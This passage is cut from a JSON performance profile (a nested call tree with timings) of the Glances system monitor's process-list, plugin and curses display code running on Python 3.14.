\"weighted\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000767\",\"time\": 0.001999,\"attributes\": {\"l769\": 0.0019986590050393716},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002469,\"attributes\": {\"cGlancesProcesses\": 0.002469332997861784, \"l679\": 0.002469332997861784},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002469,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001608,\"attributes\": {\"cGlancesProcesses\": 0.0016081450012279674, \"l689\": 0.0016081450012279674},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001608,\"attributes\": {\"l589\": 0.0016081450012279674},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001608,\"attributes\": {\"l584\": 0.0016081450012279674},\"children\": [{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.001608,\"attributes\": {\"cpcputimes\": 0.0016081450012279674, \"l478\": 0.0016081450012279674},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001608,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.001923,\"attributes\": {\"cProgramlistPlugin\": 0.0019232849954278208, \"l155\": 0.0019232849954278208},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.001923,\"attributes\": {\"cGlancesProcesses\": 0.0019232849954278208, \"l711\": 0.0019232849954278208},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.001923,\"attributes\": {\"l71\": 0.0019232849954278208},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.001923,\"attributes\": {\"l47\": 0.0019232849954278208},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000602\",\"time\": 0.001923,\"attributes\": {\"cCounter\": 0.0019232849954278208, \"l614\": 0.0019232849954278208},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001923,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007998,\"attributes\": {\"cProgramlistPlugin\": 0.007997658001841046, \"l678\": 0.007997658001841046},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.005997911001031753, \"l656\": 0.0019990040018456057, \"l633\": 0.003998906999186147},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.003999,\"attributes\": {\"cProgramlistPlugin\": 0.003998906999186147, \"l614\": 0.0019991329972981475, \"l621\": 0.0019997740018879995},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002004,\"attributes\": {\"l1295\": 0.002003638001042418},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000109\",\"time\": 0.002004,\"attributes\": {\"cNetworkPlugin\": 0.002003638001042418, \"l116\": 0.002003638001042418},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002004,\"attributes\": {\"cNetworkPlugin\": 0.002003638001042418, \"l1351\": 0.002003638001042418},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000130\",\"time\": 0.002004,\"attributes\": {\"cNetworkPlugin\": 0.002003638001042418, \"l143\": 0.002003638001042418},\"children\": [{\"identifier\": \"net_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002153\",\"time\": 0.002004,\"attributes\": {\"l2179\": 0.002003638001042418},\"children\": [{\"identifier\": \"net_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000945\",\"time\": 0.002004,\"attributes\": {\"l956\": 0.002003638001042418},\"children\": [{\"identifier\": \"str.strip\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.010005,\"attributes\": {\"cProcesslistPlugin\": 0.010005096002714708, \"l678\": 0.010005096002714708},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.001997165003558621, \"l633\": 0.001997165003558621},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.001997165003558621, \"l619\": 0.001997165003558621},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004005,\"attributes\": {\"cProcesslistPlugin\": 0.004004961003374774, \"l633\": 0.004004961003374774},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.004005,\"attributes\": {\"cProcesslistPlugin\": 0.004004961003374774, \"l623\": 0.0019967249972978607, \"l614\": 0.0020082360060769133},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000216\",\"time\": 0.002005,\"attributes\": {\"cSensorsPlugin\": 0.002005100999667775, \"l219\": 0.002005100999667775},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002005,\"attributes\": {\"cSensorsPlugin\": 0.002005100999667775, \"l686\": 0.002005100999667775},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.019003,\"attributes\": {\"cFsPlugin\": 0.015736205998109654, \"l1278\": 0.01900345299509354, \"cWifiPlugin\": 0.001581550997798331, \"cQuicklookPlugin\": 0.0016856959991855547},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.019003,\"attributes\": {\"l1295\": 0.01900345299509354},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.015736,\"attributes\": {\"cFsPlugin\": 0.015736205998109654, \"l131\": 0.015736205998109654},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.015736,\"attributes\": {\"cFsPlugin\": 0.015736205998109654, \"l182\": 0.015736205998109654},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.015736,\"attributes\": {\"l630\": 0.002760101997409947, \"l631\": 0.012976104000699706},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002760,\"attributes\": {\"cForkProcess\": 0.002760101997409947, \"l121\": 0.002760101997409947},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002760,\"attributes\": {\"l281\": 0.002760101997409947},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002760,\"attributes\": {\"cPopen\": 0.002760101997409947, \"l20\": 0.002760101997409947},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002760,\"attributes\": {\"cPopen\": 0.002760101997409947, \"l70\": 0.002760101997409947},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002760,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.012976,\"attributes\": {\"cForkProcess\": 0.012976104000699706, \"l156\": 0.012976104000699706},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.012976,\"attributes\": {\"cPopen\": 0.012976104000699706, \"l41\": 0.012976104000699706},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.012976,\"attributes\": {\"l1165\": 0.012976104000699706},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.012976,\"attributes\": {\"cPollSelector\": 0.012976104000699706, \"l398\": 0.012976104000699706},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.012976,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.007267,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.005709,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001582,\"attributes\": {\"cWifiPlugin\": 0.001581550997798331, \"l101\": 0.001581550997798331},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001582,\"attributes\": {\"cWifiPlugin\": 0.001581550997798331, \"l119\": 0.001581550997798331},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001582,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001686,\"attributes\": {\"cQuicklookPlugin\": 0.0016856959991855547, \"l117\": 0.0016856959991855547},\"children\": [{\"identifier\": \"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.001686,\"attributes\": {\"cCpuPercent\": 0.0016856959991855547, \"l252\": 0.0016856959991855547},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.001686,\"attributes\": {\"l1945\": 0.0016856959991855547},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.001686,\"attributes\": {\"l648\": 0.0016856959991855547},\"children\": [{\"identifier\": \"_cpu_get_cpuinfo_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000629\",\"time\": 0.001686,\"attributes\": {\"l635\": 0.0016856959991855547},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001686,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.061711,\"attributes\": {\"cGlancesCursesStandalone\": 2.0617108670048765, \"l1154\": 0.04998568999872077, \"l1169\": 1.0071708100076648, \"l1172\": 1.0045543669984909},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.049986,\"attributes\": {\"cGlancesCursesStandalone\": 0.04998568999872077, \"l1135\": 0.04998568999872077},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.049986,\"attributes\": {\"cGlancesCursesStandalone\": 0.04998568999872077, \"l569\": 0.047983747004764155, \"l598\": 0.002001942993956618},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.047984,\"attributes\": {\"cGlancesCursesStandalone\": 0.047983747004764155, \"l545\": 0.047983747004764155},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.047984,\"attributes\": {\"cProgramlistPlugin\": 0.021984276005241554, \"l1101\": 0.047983747004764155, \"cProcesslistPlugin\": 0.0259994709995226},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.047984,\"attributes\": {\"cProgramlistPlugin\": 0.021984276005241554, \"l566\": 0.0020595960013451986, \"l587\": 0.045924151003418956, \"cProcesslistPlugin\": 0.0259994709995226},\"children\": [{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002060,\"attributes\": {\"l824\": 0.0020595960013451986},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002060,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.007928,\"attributes\": {\"cProgramlistPlugin\": 0.007928106999315787, \"l526\": 0.0020033600012538955, \"l538\": 0.005924746998061892},\"children\": [{\"identifier\": \"curse_new_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001138\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020033600012538955, \"l1140\": 0.0020033600012538955},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020033600012538955, \"l1130\": 0.0020033600012538955},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002013,\"attributes\": {\"cProgramlistPlugin\": 0.0020134669975959696, \"l397\": 0.0020134669975959696},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002013,\"attributes\": {\"l98\": 0.0020134669975959696},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002013,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.001988882002478931, \"l429\": 0.001988882002478931},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.001988882002478931, \"l276\": 0.001988882002478931},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.001988882002478931, \"l963\": 0.001988882002478931},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001989,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.001922,\"attributes\": {\"cProgramlistPlugin\": 0.001922397997986991, \"l420\": 0.001922397997986991},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001922,\"attributes\": {\"cProgramlistPlugin\": 0.001922397997986991, \"l1130\": 0.001922397997986991},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001922,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.035998,\"attributes\": {\"cProgramlistPlugin\": 0.009998558001825586, \"l544\": 0.001999259999138303, \"l538\": 0.03199904600478476, \"cProcesslistPlugin\": 0.0259994709995226, \"l539\": 0.001999722997425124},\"children\": [{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001998414001718629, \"l325\": 0.001998414001718629},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001998414001718629, \"l857\": 0.001998414001718629},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001998414001718629, \"l963\": 0.001998414001718629},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.00200063699594466, \"l361\": 0.00200063699594466},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.004028,\"attributes\": {\"cProcesslistPlugin\": 0.004027726994536351, \"l308\": 0.0020026149941259064, \"l309\": 0.002025112000410445},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002025,\"attributes\": {\"cProcesslistPlugin\": 0.002025112000410445, \"l882\": 0.002025112000410445},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002025,\"attributes\": {\"cProcesslistPlugin\": 0.002025112000410445, \"l902\": 0.002025112000410445},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.002025,\"attributes\": {\"cGlancesThresholds\": 0.002025112000410445, \"l47\": 0.002025112000410445},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002025,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001972,\"attributes\": {\"cProcesslistPlugin\": 0.001971533005416859, \"l324\": 0.001971533005416859},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001972,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001972,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002055996854324, \"l361\": 0.002002055996854324},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002055996854324, \"l350\": 0.002002055996854324},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002055996854324, \"l1251\": 0.002002055996854324},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002002,\"attributes\": {\"l478\": 0.002002055996854324},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.001998378000280354, \"l497\": 0.001998378000280354},\"children\": [{\"identifier\": \"split_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000101\",\"time\": 0.001998,\"attributes\": {\"l114\": 0.001998378000280354},\"children\": [{\"identifier\": \"split\\u0000<frozen posixpath>\\u0000100\",\"time\": 0.001998,\"attributes\": {\"l109\": 0.001998378000280354},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999995998630766, \"l309\": 0.001999995998630766},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999995998630766, \"l885\": 0.001999995998630766},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999995998630766, \"l910\": 0.001999995998630766},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999637002882082, \"l472\": 0.001999637002882082},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999637002882082, \"l465\": 0.001999637002882082},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.004077,\"attributes\": {\"cProcesslistPlugin\": 0.004077247001987416, \"l440\": 0.004077247001987416},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000214000872802, \"l1130\": 0.002000214000872802},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002077,\"attributes\": {\"cProcesslistPlugin\": 0.0020770330011146143, \"l290\": 0.0020770330011146143},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002077,\"attributes\": {\"cProcesslistPlugin\": 0.0020770330011146143, \"l963\": 0.0020770330011146143},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002077,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002077,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.0019974679962615483, \"l309\": 0.0019974679962615483},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.0019974679962615483, \"l882\": 0.0019974679962615483},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.0019974679962615483, \"l902\": 0.0019974679962615483},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001997,\"attributes\": {\"cGlancesThresholds\": 0.0019974679962615483, \"l47\": 0.0019974679962615483},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001925,\"attributes\": {\"cProcesslistPlugin\": 0.001925132004544139, \"l360\": 0.001925132004544139},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001925,\"attributes\": {\"cProcesslistPlugin\": 0.001925132004544139, \"l340\": 0.001925132004544139},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001925,\"attributes\": {\"cProcesslistPlugin\": 0.001925132004544139, \"l1251\": 0.001925132004544139},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001925,\"attributes\": {\"l445\": 0.001925132004544139},\"children\": [{\"identifier\": \"tuple.index\\u0000<built-in>\\u00000\",\"time\": 0.001925,\"attributes\": {},\"children\": 